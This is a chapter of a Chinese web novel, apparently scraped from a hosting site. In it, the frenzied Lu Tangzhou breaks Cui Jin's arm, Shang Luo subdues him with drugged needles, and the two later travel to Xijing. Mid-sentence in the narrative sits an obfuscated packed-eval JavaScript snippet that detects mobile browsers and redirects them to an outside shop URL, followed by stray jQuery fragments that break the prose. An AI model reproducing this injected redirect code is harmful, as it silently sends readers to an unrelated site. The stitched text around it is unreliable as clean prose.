10. 第 10 章(修)

作品:《宿敌竟是我亡夫

    陆棠舟三下五除二解决完周遭几个黑衣人,便直奔崔缙而来。


    原先押着商珞的两个黑衣人见状,急忙飞扑上前护主。


    可不过须臾,银光晃过,陆棠舟已然挪移到崔缙跟前,扣住他一臂,行速之匪夷所思,莫说黑衣人反应不及,便是商珞自诩轻功不赖,亦疑心自己眼花。


    “啊——”


    陆棠舟匀称修长的手指捏泥一般地轻微捻了捻,臂骨碎裂之声“咯咯”响起,崔缙面色霎时间惨白如纸,惨叫之声惊得枯枝上的寒鸦扑腾起翅膀,四散而飞。


    陆棠舟松开崔缙手臂。


    就在崔缙一行人皆松下一口气时,陆棠舟却忽地再度抬臂,直朝崔缙脖颈袭去。


    黑衣人见状,急忙掷出长剑,试图阻止。


    陆棠舟耳尖微动,似有所觉,另一臂袖袍一拂,借力打力,飞来之剑原路折回,一声闷响直直插入黑衣人心口。


    崔缙惊恐得连连后退,不料早已腿软的双足因过度紧张踩住衣袍,整个人被重重绊倒在地。


    崔缙以臂支地,使出全身的劲弯曲着膝盖不住将身子往后缩,可蠕动的毛虫哪里敌得过嗜血的修罗?只能眼睁睁地见那弯似镰刀的夺命手无限逼近——


    霎时间,崔缙只觉三魂丢去七魄,惊恐得连声也发不出来了,只下意识闭上双眼。


    可不知为何,半盏茶的功夫过去,除了颈间有些凉意,预想中被呃的窒息感并未降临。


    崔缙颤颤巍巍抬起眼皮,缩起下巴将视线往下移,只见陆棠舟的手定格在距离他脖颈半指之宽的位置。


    抬眸一瞧,原来竟是那娇滴滴的小娘子扣住了陆棠舟的腰,这才阻止住这怪物进一步的动作。


    崔缙松了口气,惊魂未定地瘫倒在地。


    “不想死的话,还不快滚!”


    商珞见状,咬着牙冲崔缙低吼出一句。


    此刻的陆棠舟,全身上下好似有使不完的蛮力,若要克制除非以内力硬拼。可偏偏她习武走的是轻灵飘逸的路子,迅捷有余内力却是不足,明哲保身倒是绰绰有余,以硬碰硬无异以卵击石,只能用这种笨办法。


    崔缙这才如梦初醒一般,在仅剩的一名黑衣人的护送下逃离现场。


    商珞其实恨不得将崔缙这厮剥皮抽筋,可今日崔陆二人当街争执众人亲眼所见,崔缙若真有个什么三长两短,头一个脱不了干系的便是陆棠舟。


    世道便是这般不公,崔缙若杀了陆棠舟,皇帝忌惮崔氏势力,至多对其小惩大诫;可反之,若是陆棠舟杀了崔缙,皇帝会为了给崔氏一个交代,轻则以命抵命,重则九族连坐。


    放在平时,她杀便杀了,只是陆棠舟待她不薄,而她注定无法回报,只能由着所剩无多的良心和愧疚阻止自己陷他于不义之地。


    眼见崔缙走远,陆棠舟眸中血色加深,身形纵起,提气去追。


    商珞只觉一股排山倒海之力自陆棠舟体内奔涌而出,双臂发麻,再也抵挡不住,被震出数丈开外。


    “哇”地一声,商珞喷出一口鲜血,只觉全身经脉好似被震断了一般。


    商珞强撑着支起身,封穴止血,皓腕倏翻,数枚麻醉针箭矢一般自指缝飞出,混杂在风声中微不可闻。


    细如牛毛的银针没入陆棠舟颈部,陆棠舟应声倒地。


    商珞如释重负地瘫倒在地上,剧烈地喘着气。


    相府地牢与死亡一线之隔的感觉,刀刻斧凿般在脑海中分明异常。自从得知要继续潜伏在陆棠舟身边,她做的第一件事,便是跑去鬼市以重金购置大量麻药,淬进银针随身携带,没想到才不过几日,便派上用场。


    崔缙折了一条臂膀,崔家人自然不会善罢甘休,第二日便风风火火跑到相府,讨要一个说法。


    陆秉谦于是客客气气地领着崔家人进了陆棠舟的住处。


    崔家人见到陆棠舟全身上下鱼鳞一般的伤,这才知崔缙前一日究竟干了些什么混账事。


    崔缙的父兄虽然也同崔缙一般,打心眼里瞧不起陆秉谦出身寒门,可到底明些事理,知道此事是崔缙有错在先,又顾虑近年皇帝有意削弱世家势力,而陆秉谦正深得皇帝信重,不宜轻易开罪,当即赔礼道歉。


    而陆秉谦这边,一则考虑到陆棠舟虽然受伤,但都是些皮肉之伤,并不曾伤及筋骨,休养几日便无大碍;


    二则陆棠舟赴任在即,此时若传出他当街发病,难免引皇帝忧心陆棠舟之病有碍办差,收回任命或改任闲职,他陆秉谦在朝堂便会失去一大助力。


    大齐的荫官一般都是闲职,陆棠舟此次能被授予实职,虽说是乘了皇帝彻查缩绳隐田的东风,但终究来之不易,决不能因小失大。


    一番权衡下来,陆秉谦顺坡下驴,回礼致歉。崔陆争端以两家私下和解暂时告一段落。


    ******


    陆棠舟家中调养半个月后,便踏上西京赴任的路途。


    因养伤之故,陆棠舟耽搁了数日,未免误期,此去西京可谓日夜兼程,快马加鞭。


    一路车马颠簸自不必说,陆棠舟自幼锦衣玉食,又兼多年不曾踏出上京城半步,多少有些水土不服,终日马车上闭目养神;而商珞风餐露宿惯了,倒是不觉得有什么,便趁着这空闲,捧起一本《阳明算经》研读起来。


    无需执行任务之余,商珞不是练功,便是研习数术。


    而她之所以会研习数术,说来还要归功于裴时煦。


    裴时煦的许多私账都是交由商蕊打理,商蕊有时忙不过来,又不欲假手他人分权,便会叫她帮着搭把手。


    在帮商蕊算账的过程中,商珞察觉,仅凭双飞楼的营收和裴时煦的俸禄,根本不足以支持双飞楼和微雨阁的正常运转,更遑论还要收买打点朝中官员。


    显然,裴时煦必定还有更大的买卖作为支撑。


    为此商珞曾试探过商蕊,可从结果来看,商蕊似乎并不知情。


    连商蕊都要讳莫如深,显而易见,这背后的勾当一旦公之于众,足够裴时煦万劫不复。


    人心叵测,数无虚饰。


    如果,如果她能在这些账本中,寻得些裴时煦行不法之事的蛛丝马迹,或许,这个世上将不会再有双飞楼和微雨阁,而她,也不必再为裴时煦驱使。


    人最大的悲哀,莫过于身为下贱,却心比天高。可商珞还是眼睁睁地放任这个癫狂的想法,像野草一样生根、发芽、疯长,毕竟人活于世,总要有些盼头。


    只可惜,绝大部分账本她只负责算账核账,并不经手簿记,而许多流水巨大的进出项经过粉饰后她亦无法探知具体来源,由是寒来暑往三载过去,始终未有实质性进展。


    倒也不能说完全没有收获。至少,她因此练就一身炉火纯青的速算本事。


    旁人需要打半天算盘才能算出来的结果,她眼珠子只消一转,答案便会立时印在脑子里。


    说回《阳明算经》此书,她在市面上苦寻许久不得,不想竟意外在陆棠舟吃了灰的书箱底中发现。


    商珞指腹轻抚有些破损的书皮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191507|150752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,微微叹气,数术虽为君子六艺之一,却于科举并无助益,因此这些满脑子之乎者也的读书人对于数术的研习多停留在加减乘除的层面,自然也就不会明白此书的宝贵之处。


    《阳明算经》的作者是前朝一位商人,是故书里边大量算例都与记账有关,正是她现时所需。


    账本里许多流水大项与西京密不可分,如若她能参透此书所言,西京之行,说不定能有些意想不到的收货。


    “此书,你能看懂?”


    陆棠舟不知何时睁开眼睛,探究的视线落在这本《阳明算经》。


    商珞有些不好意思地挠了挠头,腼腆道:“这里头每一个字小人倒是都识得,可是连在一起是何意,小人便不知了。”


    “都是些数字,你自然都识得。”


    陆棠舟语气依旧淡淡,却染上几分佯怒:“我叫你自己寻些书识字,你倒好,拿本算数书偷懒。”


    “少爷您可真是慧眼如炬,”


    商珞讪笑两声,低声告饶,“小人这些时日又是认字又是练字,实在是受不住,如今但凡见到方方整整的家伙什便眼冒金星,这才出此下策……”


    “罢了,这些时日我对你要求是严苛了些,”


    陆棠舟有些无奈地叹了口气,颇有些恨铁不成钢的意味,“你悟性颇高,不多读些书实在可惜。”


    商珞神色古怪地看了陆棠舟一眼。


    时下礼教要求女子“三从四德”,才女在当今非但不受追捧反倍遭唾弃,前些年更有大臣以“诗书非女子事”为由向皇帝谏言,禁止女子读书。


    尽管在商珞看来,这不过是男人用以禁锢女人的诡计。女人不读书便难明事理,不明事理便只能任由这帮满身恶臭的男人洗脑,彻底沦为为他们生儿育女操持家务的牲畜。


    陆棠舟这番言论,说是离经叛道也不为过,不过与她心中所思不谋而合。


    “你手里这本乃是杂书,晦涩难懂不说,便是读懂了也无多大用处,”


    商珞眼睁睁瞧着陆棠舟将《阳明算经》从她手中抽走,又拿来一本《史记》递到她跟前,“欲通文,先通史,你便从这《史记》开始看起罢,有什么不懂的问我便是。”


    商珞配合着点了点头,乖巧地接过书。


    常年的身不由己叫商珞习惯了随遇而安。商珞想着,她虽是识字,经史子集一类的书籍却甚少涉猎,多读些书倒也有益无害;再者知己知彼方能百战百胜,若想拿下陆棠舟,就必得先参透他,而要揣摩像陆棠舟这样的读书人,少不得要从他平日所阅书籍入手。


    如此,商珞捧着《史记》又颠簸了几日,倒也读得津津有味。


    书差不多读完时,马车也差不多到了西京城脚下。


    大齐建国之初定都西京,后来出于种种考量迁都上京,西京便成了留都,原有的六部九寺等一整套中央机构仍然保留,官员级别亦与上京相同。


    可惜随着皇权迁移日久,西京的中央机构逐渐沦为有名无实的摆设,如今只剩两处尚有些实权:一个是兵部,另一个便是陆棠舟即将任职的户部。


    马车缓缓由主道驶入城门,市列珠玑户罗绮的街景赫然眼前。


    虽不再作为政治中心,西京名义上仍算大齐都城,有着不输上京的豪奢繁华。


    “活罗刹进城了!”


    尚未习惯阔别已久的人声鼎沸,不知是谁嚷嚷了这么一句。


    霎时间,熙熙攘攘的人群仓皇逃离,原本车水马龙的街道不多时空无一人。